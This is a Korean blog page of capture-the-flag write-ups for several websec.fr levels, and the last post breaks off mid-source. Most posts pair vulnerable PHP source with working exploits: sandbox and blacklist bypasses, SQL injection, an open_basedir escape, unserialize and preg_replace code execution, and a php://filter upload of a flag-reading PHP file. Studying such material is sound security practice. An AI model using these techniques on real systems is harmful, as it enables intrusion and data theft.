'Wargame/websec.fr'에 해당되는 글 22건

source.php


<?php 
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL E_DEPRECATED);

if (isset (
$_POST['code']) && is_string ($_POST['code'])) {
    
$code substr ($_POST['code'], 025);
} else {
    
$code "print('I hate PHP');";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level14</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <link rel="stylesheet" href="../static/websec.css" />
</head>
<!-- Thanks to an anonymous contributor for this level. -->
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>Level Fourteen <small>- Securely Execute Code</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        Don't you love these online PHP executing services like <a href="https://3v4l.org">3v4l.org</a>?<br>
                        Unfortunately they're insecure as hell, so we made <a href="source.php">our own</a>
                        where we only allow <mark>echo</mark>, <mark>print</mark>, <mark>strlen</mark>, <mark>strcmp</mark>, <mark>strncmp</mark>.<br>
                        Oh and you're limited to <code>25</code> chars only. Try it out!
                    </p>
                    <!-- If I had to guess, I would say that the $flag is in sha1($flag). -->
                </div>
            </div>
            <div class="container">
                <div class="row">
                    <form method="post" class="form-inline">
                        <div class="form-group">
                            <label for="code">Code:</label>
                            <input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>
                        </div>
                        <button type="submit" class="btn btn-default">Execute!</button>
                    </form>
                </div>
                <div class="row">
<br>
<pre>
<?php

$funcs_internal 
get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen'$funcs_internal)]);
unset (
$funcs_internal[array_search('print'$funcs_internal)]);
unset (
$funcs_internal[array_search('strcmp'$funcs_internal)]);
unset (
$funcs_internal[array_search('strncmp'$funcs_internal)]);

$funcs_extra = array ('eval''include''require''function');
$funny_chars = array ('\.''\+''-''\*''"''`''\[''\]');
$variables = array ('_GET''_POST''_COOKIE''_REQUEST''_SERVER''_FILES''_ENV''HTTP_ENV_VARS''_SESSION''GLOBALS');

$blacklist array_merge($funcs_internal$funcs_extra$funny_chars$variables);

$insecure false;
foreach (
$blacklist as $blacklisted) {
    if (
preg_match ('/' $blacklisted '/im'$code)) {
        
$insecure true;
        break;
    }
}

if (
$insecure) {
    echo 
'Insecure code detected!';
} else {
    eval (
$code);
}

?>
</pre>
            </div>
        </div>
</div>
</body>
</html>


php sandbox류인데 필터길이가 25자로 상당히 짧다. 이것저것해봤는데 ${_GET}{0}(${_GET}{0}); 요게 길이가 딱 맞아서 이거사용해줬다. _GET부분분 not 연산시켜주면 되고 이걸로 assert써서 플래그 파일명 따서 코드 읽어주면 된다.


exploit.py


import requests


def exploit(payload,func,param):

    url = "https://websec.fr/level14/index.php?0="+func+"&1="+param

    data = {"code":payload}

    result = requests.post(url,data=data).text

    print result



payload = "${~\xA0\xB8\xBA\xAB}{0}(${~\xA0\xB8\xBA\xAB}{1});"

func = "assert"

param = "var_dump(scandir('.'))"

exploit(payload,func,param) 


param = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"

exploit(payload,func,param)



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!--
    Greetz to bui for finding a neat bypass that is now fixed :)
    Sorry Mantis for killing your attempts :D
-->

<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

function 
sanitize($str) {
    
/* Rock-solid ! */
    
$special1 = ["!""\"""#""$""%""&""'""+""-"];
    
$special2 = [".""/",  ":"";""<""="">""?""@"];
    
$special3 = ["[""]""^""_""`""\\""|""{""}"];

    
$sql = ["or""is""like""glob""join""0""limit""char"];

    
$blacklist array_merge($special1$special2$special3$sql);

    foreach (
$blacklist as $value) {
        if (
stripos ($str$value) !== false)
            die (
"Presence of '" $value "' detected: abort, abort, abort!\n");
    }
}

if (isset (
$_POST['submit']) && isset ($_POST['user_id'])) {
    
$injection $_POST['user_id'];
    
$pdo = new SQLite3 ('database.db'SQLITE3_OPEN_READONLY);

    
sanitize ($injection);

    
//$query = 'SELECT id,login,password FROM users WHERE id=' . $injection;
    
$query 'SELECT id,login FROM users WHERE id=' $injection;
    
$getUsers $pdo->query ($query);
    
$users $getUsers->fetchArray (SQLITE3_ASSOC);

    
$userDetails false;
    if (
$users) {
        
$userDetails $users;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Seven</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelSeven <small> - Select the user by ID you wish to view</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        This application is used to view the username by the given user ID, it will return the corresponding username from the database. 
                       To prevent sql injections, it uses a <em>super-efficient-blacklist-based</em> filter, check it <a href="./source.php">here</a>.<br>
                       Thanks to <a href="https://twitter.com/_cutz">cutz</a> for the idea.
                    </p>
                </div>
            </div>
            <div class="container">
                <?php if (isset ($userDetails) && !empty ($userDetails)): ?>
                    <div class="row">
                        <p class="well"><strong>Username for given ID</strong>: <?php echo $userDetails['login']; ?> </p>
                        <p class="well"><strong>Other User Details</strong>: <br />
                            <?php 
                            $keys 
array_keys ($userDetails);
                            
$i 0;

                            foreach (
$userDetails as $user) { 
                                echo 
$keys[$i++] . ' -> ' $user "<br>";
                            } 
                            
?> 
                        </p>
                    </div>
                <?php endif; ?>

                <div class="row">
                    <label for="user_id">Enter the user ID:</label>
                    <form name="username" method="post">
                        <div class="form-group col-md-2">
                            <input type="text" class="form-control" id="user_id" name="user_id" value="1" required>
                        </div>
                        <div class="col-md-2">
                            <input type="submit" class="form-control btn btn-default" placeholder="Submit!" name="submit">
                        </div>
                    </form>
                </div>
            </div>
        </div>
        <script type="text/javascript" src="../static/bootstrap.min.js"></script>
    </body>
</html>


id가 1번인 계정의 password 컬럼 값 뽑아오면 된다. as 필터때문에 password 컬럼명을 못쓰는 부분이랑 id조건 주는 부분만 우회해주면된다 . max랑 between 두가지 방법으로 우회가 가능하다.


payload


1)

999 union select id,login from (select 99 id,2,3 login union select * from users) a where id between 1 and 1


2)

999 union select max(id),login from (select 99,2 id,3 login union select * from users) a


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 14  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


 <?php
ini_set
('open_basedir''/sandbox');
chdir('/sandbox');

ini_set('display_errors''on');
ini_set('error_reporting'E_ALL);

if (isset (
$_GET['c'])) {
    die (eval (
$_GET['c']));
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <title>#WebSec Level Thirty-one</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>Level Thirty-one <small>- Since web browsers have sandboxes, why not php too?</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                                        Can you read the <code>./flag.php</code> file?
                    You can take a look at the the source code <a href="source.php">here</a>.
                </p>
            </div>
        </div>
        <div class="container">
            <div class="row">
                <form action="" method="get" class="form-inline">
                    <label class="sr-only" for="c">Your text to store.</label>
                    <input type="text" id="c" class='form-control' name="c" size=96 placeholder="Your command.">
                    <button type="submit" value="Submit" name="submit" class="btn btn-default">execute</button>
                </form>
            </div>    
        </div>
    </div>
</body>
</html>


대놓고 open_basedir bypass해보라고 코드짜논걸 볼 수 있다. phpino()로 버전 확인해보면 7.2.9 버전으로 나름 최근 버전이라 올해 초에 돌았던 lastests open_basedir trick으로 bypass해주면 된다. 이 때 mkdir이 권한때문에 안먹히는데 sandbox 디렉토리에 기본적으로 tmp 디렉토리를 만들어놨길래 이거 사용했다.


exploit.py


import requests


def exploit(payload):

    url = "https://websec.fr/level31/index.php"

    params = {"c":payload,"submit":"Submit"}

    result = requests.get(url,params=params).text

    print result


payload = """

ini_set('open_basedir','/sandbox');

chdir('./tmp');

ini_set('open_basedir','..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

ini_set('open_basedir','/');

var_dump(file_get_contents('/flag.php'));

"""


exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 14  (0) 2019.08.23
websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php
include "flag.php";

if (isset (
$POST['obj'])) {
    
setcookie ('obj'$_POST['obj']);
} elseif (!isset (
$_COOKIE['obj'])) {
    
$obj = new stdClass;
    
$obj->input 1234;
    
setcookie ('obj'serialize ($obj));
}
?>
<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Eighteen</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
        <body>
                <div id="main">
                        <div class="container">
                                <div class="row">
                                        <h1>Level Eighteen <small> - json_decode is for the weak</small></h1>
                                </div>
                                <div class="row">
                                        <p class="lead">
                                        Let's pretend that we gave you a serialized object before ; can you give it back please?<br>
                    This fine level was created by <mark>nurfed</mark>.
                                        You can check the sources <a href="source.php">here</a>.
                                        </p>
                                </div>
                        </div>
                        <div class="container">
                            <div class="row">
                                <form class="form-inline" method='post'>
                                    <input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
                                    <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                                </form>
                            </div>
                        </div>
                        <?php if (isset ($_COOKIE['obj'])): ?>
                        <br>
                        <div class="container">
                            <div class="row">
                                <?php
                                    $obj 
$_COOKIE['obj'];
                                    
$unserialized_obj unserialize ($obj);
                                    
$unserialized_obj->flag $flag;  
                                    if (
hash_equals ($unserialized_obj->input$unserialized_obj->flag))
                                        echo 
'<div class="alert alert-success">Here is your flag: <mark>' $flag '</mark>.</div>';   
                                    else 
                                        echo 
'<div class="alert alert-danger"><code>' htmlentities($obj) . '</code> is an invalid object, sorry.</div>';
                                
?>
                            </div>
                        </div>
                        <?php endif ?>
                </div>
        </body>
</html>


unserialize된 객체의 input 필드 값이 unserialize된 후 덮힌 flag 값이랑 일치하면 된다. input에 flag 필드에 대한 레퍼런스변수 세팅한 serialize 데이터 만들어서 보내주면 된다.


payload


O:8:"stdClass":2:{s:4:"flag";s:3:"123";s:5:"input";R:2;}

'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);
if( isset (
$_GET['submit']) && isset ($_GET['c'])) {
    
$randVal sha1 (time ());

    
setcookie ('session_id'$randValtime () + 2''''truetrue);

    try {
        
$fh fopen('/tmp/' $randVal'w');

        
fwrite (
            
$fh,
                   
str_replace (
                [
'<?''?>''"'"'"'$''&''|''{''}'';''#'':''#'']''['',''%''('')'],
                
'',
                
$_GET['c']
            )
        );
        
fclose($fh);
    } catch (
Exception $e) {
        
var_dump ($e->getMessage ());
    }
}

if (isset (
$_GET['cache_file'])) {
    if (
file_exists ($_GET['cache_file'])) {
        echo eval (
stripcslashes (file_get_contents ($_GET['cache_file'])));
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <title>#WebSec Level Nine</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
    <!-- Congrats to sine who found a very interesting and innovative way to exploit this! -->
  <!-- A fine level by Mantis -->
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>Level Nine <small>- Expect the unexpected output from a function</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    This is our super <em>store'n'exec</em> service. You can store text, and <em>try</em> to get it executed
                    to read the <code>flag.txt</code> file.<br>
                    You can take a look at the the source code <a href="source.php">here</a>.
                </p>
            </div>
        </div>
        <div class="container">
            <div class="row">
                <form action="" method="get" class="form-inline">
                    <label class="sr-only" for="c">Your text to store.</label>
                    <input type="text" id="c" class='form-control' name="c" placeholder="Your text to store">
                    <button type="submit" value="Submit" name="submit" class="btn btn-default">store</button>
                </form>
            </div>    
        </div>
    </div>
</body>
</html>


sandbox를 거쳐 파일 내용을 저장하고 해당 파일 내용을 불러와 eval로 실행한다. 이 때 파일내용 부른 후 eval 실행 전 딱봐도 굳이 없어도 될만한 함수를 쓰는걸 볼 수 있다. stripcslashes함수로 제거되는 \를 가지고 뭘 할 수 있는지 생각해보면 딱 그냥 떠오르는게 16진수다. 이걸로 sandbox우회해서 문자열 삽입해주면 된다.


exploit.py


import requests

def exploit(payload):
url = "http://websec.fr/level09/index.php"
params = {"c":payload,"submit":"Submit"}
result = requests.get(url,params=params).headers['Set-Cookie']
end = result.find("; expires")
return result[11:end]

def getFlag(path):
url = "http://websec.fr/level09/index.php"
params = {"cache_file":"/tmp/"+path}
result = requests.get(url,params=params).text
print result

payload = "show_source('flag.txt');".encode("hex")
hex_payload = ""

for i in range(0,len(payload),2):
hex_payload += "\\x"+payload[i:i+2]

path = exploit(hex_payload)
getFlag(path)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Five</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to blotus for its help. -->
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelFive <small> - Spelling is important.</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        Since it sims that no one now how to spell proper anglish anymore those days,
                        we ofer you <a href="source.php">this spellshaker</a>, written in pure php.
                        Be nice and do not brek it please.
                        <!-- If I had to guess, I would say that the $flag is defined in flag.php -->
                    </p>
                </div>
            </div>
            <div class="container">
                <div class="row">
                    <form name="wordchecker" method="post">
                        <div class="form-group">
                            <label for="word">Text to check</label>
                            <textarea class="form-control" id="word" name="q" placeholder="Your text" rows="8" required></textarea>
                        </div>
                        <button type="submit" class="btn btn-default" name="submit">Spellcheck</button>
                    </form>
                </div>
                <?php
                ini_set
('display_errors''on');
                
ini_set('error_reporting'E_ALL E_DEPRECATED);

                if (isset (
$_REQUEST['q']) and is_string ($_REQUEST['q'])):
                    require 
'spell.php';  # implement the "correct($word)" function

            
$q substr ($_REQUEST['q'], 0256);  # Our spellchecker is a bit slow, do not DoS it please.
            
$blacklist implode (["'"'"''('')'' ''`']);

            
$corrected preg_replace ("/([^$blacklist]{2,})/ie"'correct ("\\1")'$q);
            
?>
                <br><hr><br>
                <div class="row">
                    <div class="panel panel-default">
                        <div class="panel-heading">Corrected text</div>
                        <div class="panel-body">
                            <blockquote>
                            <?php echo $corrected?>
                            </blockquote>
                        </div>
                    </div>
                </div>
                <?php endif ?>
            </div>
        </div>
        <script type="text/javascript" src="../static/bootstrap.min.js"></script>
    </body>
</html>


input이 preg_replace의 e옵션으로 인해 php 코드로 실행이 가능하다. 근데 인풋이 "인풋" 요런형태로 들어가고 있어서 해당 영역을 벗어날순 없고, 그냥 PHP 변수 출력하는거 응용해서 "${var_dump(1)}" 이런식으로 코드실행해 주면된다.


추가로 필터되는 문자열인 ' , " , ` , ( , ) , 공백 요걸 우회해서 함수실행을 해야하는데 이건 그냥 ( 없이 파일내용 leak가 가능한 include나 require 써줌대고 공백은 개행으로 문자열은 $_POST[0] 이런식으로 우회해주면된다.


payload


q=${include%0a$_POST[0]}$flag&submit=&0=flag.php&1=include

'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php
include "flag.php"// contains the $flag variable.
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec ChaChaCha</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
        <body>
                <div id="main">
                        <div class="container">
                                        <div class="row">
                                                <h1>ChaChaCha <small>time to find a collision on sha1</small></h1>
                                        </div>
                                        <div class="row">
                                                <p class="lead">
                                                Since php types are <s>idiotic</s><a href="https://secure.php.net/manual/en/language.operators.comparison.php">sloppy</a>,
 it's safer to hash the raw variables first, with <a href="https://en.wikipedia.org/wiki/SHA-1">sha1</a> (that does accept arrays and other weird things), then to hash the result with <mark>password_hash</mark> to avoid <em>funny stuff</em>.<br>
To compare them, we're using <mark>password_verify</mark>, since its <a href="https://git.php.net/?p=php-src.git;a=blob;f=ext/standard/password.c;h=2a5cec3e93b33387ad3c478108647d2ccacf68a4;hb=HEAD">implementation</a> is <strong>foolproof</strong>.<br>
<a href="./source.php">Check by yourself</a> what's going on if you don't believe me.
                                                </p>
                                        </div>
                                </div>
                        </div>
                        <div class="container">
                                        <?php
if(isset($_POST['c'])) {
    
/*  Get rid of clever people that put `c[]=bla`
     *  in the request to confuse `password_hash`
     */
    
$h2 password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);

    echo 
"<div class='row'>";
    if (
password_verify (sha1($flagfa1se), $h2) === true) {
       echo 
"<p>Here is your flag: <mark>$flag</mark></p>"
    } else {
        echo 
"<p>Here is the <em>hash</em> of your flag: <mark>" sha1($flagfalse) . "</mark></p>";
    }
    echo 
"</div>";
}
?>
                                        <div class="row">
                                                <form name="username" method="post">
                                                        <div class="form-group col-md-2">
                                                                <input type="text" class="form-control" id="c" name="c" placeholder="secret_flag1" required>
                                                        </div>
                                                        <div class="form-group col-md-2">
                                                                <input type="submit" class="form-control btn btn-default" placeholder="Submit!" name="submit">
                                                        </div>
                                                </form>
                                        </div>
                                </div>
                        </div>
                </div>
                <script type="text/javascript" src="../static/bootstrap.min.js"></script>
        </body>
</html>


암호화하는 로직탈때 딱봐도 이상한게 sha1의 두번째 인자가 false가 아니고 fa1se다. 이 때문에 sha1 반환 값이 hex가 아닌 raw값이고 이로인해 널바이트가 포함된 값이 password_hash로 암호화처리 된다. 


이걸로 뭘 할 수 있는지보면 password_verify는 입력값을 검증할 때 원본 값들의 널바이트까지만 입력 값 검증을 하므로 플래그를 sha1 처리한 값에 널바이트가 존재하면 브루트포싱을 통해 충분히 인증 우회가 간으하다.

 

플래그를 sha1 돌린 값을 보면 7c00249d409a91ab84e3f421c193520d9fb3674b이고, 두번째 바이트가 00인걸 통해 sha1의 반환값 중 앞 2바이트가 \x7\x00인걸 브포돌려서 구해주면 된다.



exploit.py


import requests

import hashlib


def exploit(payload):

    url = "http://websec.fr/level03/index.php"

    data = {"c":payload}

    result = requests.post(url,data=data).text

    print result


input = ""

for i in range(0,100000000):

    h = hashlib.sha1()

    h.update(str(i))

    if h.hexdigest()[:4]=="7c00":

        input = str(i)

        print "Find Input = " + input

        exploit(input)

        break

'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

session_start();

include 
'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
    if (
is_file($file)) {
        
unlink($file);
    } else {
        if (
time() - filemtime($file) >= 60 60 24 7) {
            
Delete($file);
        }
    }
}

$upload_dir sprintf("./uploads/%s/"session_id());
@
mkdir($upload_dir0755true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir''.');

$p "list";
$data "";
$filename "";

if (isset(
$_GET['p']) && isset($_GET['filename']) ) {
    
$filename $_GET['filename'];
    if (
$_GET['p'] === "edit") {
        
$p "edit";
        if (isset(
$_POST['data'])) {
            
$data $_POST['data'];
            if (
strpos($data'<?')  === false && stripos($data'script')  === false) {  # no interpretable code please.
                
file_put_contents($_GET['filename'], $data);
                die (
'<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (
file_exists($_GET['filename'])){
            
$data file_get_contents($_GET['filename']);
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level 24</title>
        <link rel="stylesheet" href="https://websec.fr/static/bootstrap.min.css" />
    <!-- Credits to blotus and bui for finding an unintended solution -->
</head>
    <body>
        <div class="container">
            <div class="row">
                <h1>Level TwentyFour<small> - Cloud-based plain-text storage</small></h1>
            </div>

            <div class="row">
                <p class="lead">
                Please enjoy our super-convenient cloud-based text storage facility,<br>
                    its sync-up scaled workflow connects with agile API worldwide on a global scale,<br>
                    to achieve synergy with outside the box diving devops.
                <br><br>
                    Another fine level by our very own <mark>nurfed</mark>, that you can check the source <a href="source.php">here</a>.
                </p>
            </div>

            <br>

            <div class="row">

<?php if ($p === "list") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
    echo 
"<div class='panel-body'><ul>";
    foreach (
array_diff(scandir('.'), ['..''.']) as $fn)
        echo 
"<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
    echo 
"</ul></div></div>";
    
?>
    <form method="GET" class="form-inline">
        <div class="form-group">
            <input type="hidden" name="p" value="edit">
            <label for="filename">Create a new file:</label>
            <input class='form-control' type="text" name="filename" placeholder="file name">
        </div>
        <div class="form-group">
            <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
        </div>
    </form>

<?php } elseif ($p === "edit") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>";
    echo 
"File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>&times;</span></a></h3>";
    echo 
"</div>";
    echo 
"<div class='panel-body'>";
    echo 
"<form action='?p=edit&filename=$filename' method='post'>";
    echo 
"<input type='hidden' name='filename' value='$filename'>";
    echo 
"<textarea class='form-control' name='data' rows='6'>" htmlentities($data) . "</textarea><br>";
    echo 
"<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
    echo 
"<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
    echo 
"</form>";
    echo 
"</div></div>";
?>
</div>


그냥 php 파일 올릴 수 있는데, 파일 내용에 php tag 및 script를 필터하고 있다.


첨엔 그냥 file_put_contents로 파일 만들길래 array넣어서 우회하면 끝나겠거니 했는데 입력 값 검증할때 preg_match 안쓰고 stripos쓰는 바람에 에러가 터져서 요 방법은 안됬다. 그래서 그냥 php wrapper써서 base64 인코딩된 값을 디코딩하면서 파일 내용 삽입하게 했다.


exploit.py


import requests


def exploit(payload,payload2):

    url = "http://websec.fr/level24/index.php?p=edit&filename="+payload

    headers = {"Cookie":"PHPSESSID=ho8silrj9h2rl1q2u8i0vig3gfsp68sq"}

    data = {"data":payload2}

    result = requests.post(url,headers=headers,data=data).text

    print result



payload = "php://filter/convert.base64-decode/resource=123.php"

payload2 = "<?php echo file_get_contents('../../flag.php');?>".encode("base64")


exploit(payload,payload2)


print requests.get("http://websec.fr/level24/uploads/ho8silrj9h2rl1q2u8i0vig3gfsp68sq/123.php").text


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 05  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


PHP Sandbox 인데 길이제한이 좀 빡세다. 대충 아래와 같은형태로하면 함수하나에 인자는 6글자까지 사용할수있게 만들었다.


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}()&0=phpinfo


그냥 system류로 경로따고 cat f* 이런식으로하면 될 것 같았는데 system류 함수가 다 막혀있었다. 


그래서 그냥 scandir, glob같은거로 경로따서 플래그파일 보면 되겠지 했는데 플래그 파일명이 file_containing_the_flag_parts.php 요놈인데 엄청길다. 


뭐지하고 좀 보다보니 이상한게 있었는데 A라는 객체를 생성해서 필드에 값을 채워넣는 문제 로직이랑 전혀 상관없는 코드가 있었다. 해당 객체 필드를 못보게 -를 필터하고 unset까지해서 객체 인자로 들어가는 변수까지 초기화한걸 보니 저 객체만 어떻게 뿌려주면 될 것 같아서 그냥 var_dump로 객체를 뿌려주니 필드쪽에 플래그가 나눠서 세팅되어 있었다.


payload


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}($a)&0=var_dump



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!-- Yet an other fine level, based on a real-world vuln discovered by @caillou -->
<?php

// Defines $flag
include 'flag.php';

$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (
  user_id   INTEGER PRIMARY KEY,
  user_name TEXT NOT NULL,
  user_privileges INTEGER NOT NULL,
  user_password TEXT NOT NULL
)'
);

$db->prepare("INSERT INTO users VALUES(0, 'admin', 0, '$flag');")->execute();

for(
$i=1$i<25$i++) {
  
$pass md5(uniqid());
  
$user "user_" substr(crc32($pass), 02);
  
$db->prepare("INSERT INTO users VALUES($i, '$user', 1, '$pass');")->execute();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Thirteen</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelThirteen <small> - A privilege offer</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                                            A simple tool to display privileges, so you can check them.
                                            As usual, the source code can be found <a href="source.php">here</a>.
                    </p>
                </div>
            </div>
            <div class="container">
              <div class="row">
                <form class="form-inline" method='get'>
                                    Ids to display
                  <input name='ids' class='form-control' type='text' value='1,2,3'>
                  <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                </form>
              </div>

<?php
if (isset($_GET['ids'])) {
    if ( ! 
is_string($_GET['ids'])) {
        die(
"Don't be silly.");
    }

    if ( 
strlen($_GET['ids']) > 70) {
        die(
"Please don't check all the privileges at once.");
    }

  
$tmp explode(',',$_GET['ids']);
  for (
$i 0$i count($tmp); $i++ ) {
        
$tmp[$i] = (int)$tmp[$i];
        if( 
$tmp[$i] < ) {
            unset(
$tmp[$i]);
        }
  }

  
$selector implode(','array_unique($tmp));

  
$query "SELECT user_id, user_privileges, user_name
  FROM users
  WHERE (user_id in (" 
$selector "));";

  
$stmt $db->query($query);

    echo 
'<br>';
    echo 
'<div class="well">';
  echo 
'<ul>';
  while (
$row $stmt->fetch(\PDO::FETCH_ASSOC)) {
        echo 
"<li>";
        echo 
"User <em>" $row['user_name'] . "</em>";
      echo 
"    with id <code>" $row['user_id'] . '</code>';
        echo 
" has <b>" . ($row['user_privileges'] == 0?"all":"no") . "</b> privileges.";
